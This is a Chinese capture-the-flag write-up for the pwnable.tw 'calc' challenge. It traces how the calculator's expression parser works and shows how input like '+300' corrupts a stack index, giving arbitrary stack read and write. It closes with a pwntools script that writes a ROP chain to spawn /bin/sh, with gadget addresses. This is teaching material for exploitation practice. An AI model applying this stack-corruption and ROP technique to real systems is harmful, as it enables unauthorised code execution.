pwnable.tw Calc

calc

首先先检查保护

可以看到正如程序名字一样是一个计算器的程序。

IDA静态分析代码
main函数主要调用了calc函数

而calc中parse_expr这个函数比较重要

我们用过1+2*3-4为例子,计算的过程大约是如下:
其中I为for循环的i,V为数字的开始

1 + 2 * 3 - 4
I
V

数字暂存区的长度: 0
数字暂存区:
符号暂存区的索引: 0
符号暂存区:
1 + 2 * 3 - 4
  I
V
当前的处理的数字: 1

数字暂存区的长度: 1
数字暂存区: 1
符号暂存区的索引: 0
符号暂存区:
----------------------------------------
1 + 2 * 3 - 4
  I
    V

数字暂存区的长度: 1
数字暂存区: 1
符号暂存区的索引: 0
符号暂存区: +
1 + 2 * 3 - 4
    I
    V

数字暂存区的长度: 1
数字暂存区: 1
符号暂存区的索引: 0
符号暂存区: +
1 + 2 * 3 - 4
      I
    V
当前的处理的数字:2

数字暂存区的长度: 2
数字暂存区: 1,2
符号暂存区的索引: 0
符号暂存区: +
----------------------------------------
1 + 2 * 3 - 4
      I
        V

数字暂存区的长度: 2
数字暂存区: 1,2
符号暂存区的索引: 1
符号暂存区: +,*
1 + 2 * 3 - 4
        I
        V

数字暂存区的长度: 2
数字暂存区: 1,2
符号暂存区的索引: 1
符号暂存区: +,*
1 + 2 * 3 - 4
       	  I
        V
当前的处理的数字:3

数字暂存区的长度: 3
数字暂存区: 1,2,3
符号暂存区的索引: 1
符号暂存区: +,*
----------------------------------------
1 + 2 * 3 - 4
       	  I
            V

数字暂存区的长度: 2
数字暂存区: 1,6
符号暂存区的索引: 1
符号暂存区: +,-
1 + 2 * 3 - 4 x00
       	    I
            V

数字暂存区的长度: 2
数字暂存区: 1,6
符号暂存区的索引: 1
符号暂存区: +,-
1 + 2 * 3 - 4 x00
       	       I
            V
当前的处理的数字:4

数字暂存区的长度: 3
数字暂存区: 1,6,4
符号暂存区的索引: 1
符号暂存区: +,-
----------------------------------------
1 + 2 * 3 - 4 x00  x00
       	       I
                     V

数字暂存区的长度: 2
数字暂存区: 1,2
符号暂存区的索引: 0
符号暂存区: +
1 + 2 * 3 - 4 x00 x00
       	            I
                    V
break
数字暂存区的长度: 2
数字暂存区: 1,2
符号暂存区的索引: 0
符号暂存区: +
数字暂存区的长度: 1
数字暂存区: 3
符号暂存区的索引: -1
符号暂存区:

看懂了上面的大致流程,大概就能明白程序的流程了
eval这个函数,是函数主要的漏洞利用点。a1表示数字暂存区的长度,如果我们可以控制a1的内容就可以实现栈上任意地址的任意写入,之后程序又能打印结果,所以我们还可以实现栈上任意地址的读取。

如果当前操作符左边的操作数不存在呢?也就是说,表达式的第一个字符就是运算符而不是操作数呢?这样的话,a1[0]的值在解析下一个操作符之前就还是0,而不是1,当第一次进入eval函数时,我们的运算场景就出现了一个不符合运算条件的情况,一个运算符和仅有的一个操作数,比如我们输入“+300”这样一个畸形的运算表达式,当函数处理到最后一个字符“0×0”,这时的运算场景如下

+300
I
V
当前处理的数字:

数字暂存区的长度: 0
数字暂存区:
符号暂存区的索引: 0
符号暂存区:
--------------------------
+ 300
I
  V

数字暂存区的长度: 0
数字暂存区:
符号暂存区的索引: 0
符号暂存区: +
+ 300
  I
  V

数字暂存区的长度: 0
数字暂存区:
符号暂存区的索引: 0
符号暂存区: +
+ 300 x00
       I
   V
当前处理的数字:300

数字暂存区的长度: 1
数字暂存区: 300
符号暂存区的索引: 0
符号暂存区: +
-----------------------------
+ 300 x00 x00
       I
             V

数字暂存区的长度: 301
数字暂存区: 300
符号暂存区的索引: 0
符号暂存区: +
----------------------------
+ 300 x00 x00
       I
            V

数字暂存区的长度: 300    (又减1是因为eval之后有--*a1)
数字暂存区: 300
符号暂存区的索引: -1
符号暂存区:

这里我们改变的也就是v1的值,最后printf可以泄漏栈上的地址

同理,我们是用+301+1可以将v2[300]处的值+1,相当于我们拥有了栈上任意地址写入的权限。由于程序开启了NX保护,并且程序是静态链接的,我们使用ROP来getshell。
http://syscalls.kernelgrok.com

eax=0xb
ebx=“/bin/sh”字符串的地址
ecx=0
edx=0

我们将寄存器利用ROP填上相应的值,接可以getshell了。这里的难点有2个。

  1. 定位ret地址。ret = 0x59C / 4 + 1+1 = 361 (其中0x59C / 4是指v2离ebp的距离,+1是ret在ebp下方4个字节,因为输出的是v2[v1-1]所以我们还要多加个1)
  2. 怎么获取/bin/sh的地址?我们可以吧/bin/sh布置到ret后面,由于ret上一个就是main_ebp,我们可以通过泄漏main_ebp来定位/bin/sh的位置

解题脚本

from pwn import *
context.log_level = "Debug"
p = process('./calc')
#p = remote('chall.pwnable.tw',10100)
p.recvline()
start = (0x59c+4)/4+1


p.sendline("+"+str(start-1))
main_ebp = int(p.recvline())
bin_sh = main_ebp + 0x4
p.sendline("+"+str(start+6)+str(bin_sh))
p.recvline()



'''
0x0805c34b : pop eax ; ret
0x080701d1 : pop ecx ; pop ebx ; ret
0x080701aa : pop edx ; return
0x08049a21 : int 0x80


xxxx       <- v1    (ebp-0x5a0)
xxxx       <- v2    (ebp-0x59c)
....
xxxx
xxxx       <- canary (ebp-0xc)
xxxx
xxxx
main_ebp   <- ebp
ret
'''
        #  pop_eax_ret   pop_edx_ret  pop_ecx_ebx_ret         int 0x80    /bin       /shx00
payload = [0x0805c34b,0xb,0x080701aa,0,0x080701d1,0,bin_sh,  0x08049a21,0x6e69622f,0x0068732f]


for i in range(len(payload)):
    p.sendline("+"+str(start+i))
    num = int(p.recvline())

    diff = payload[i] - num
    if diff > 0 :
        p.sendline("+"+str(start+i)+"+"+str(diff))
    else:
        p.sendline("+"+str(start+i)+str(diff))
    p.recvline()


#gdb.attach(p)

p.sendline()
p.interactive()
原文地址:https://www.cnblogs.com/Rookle/p/12884536.html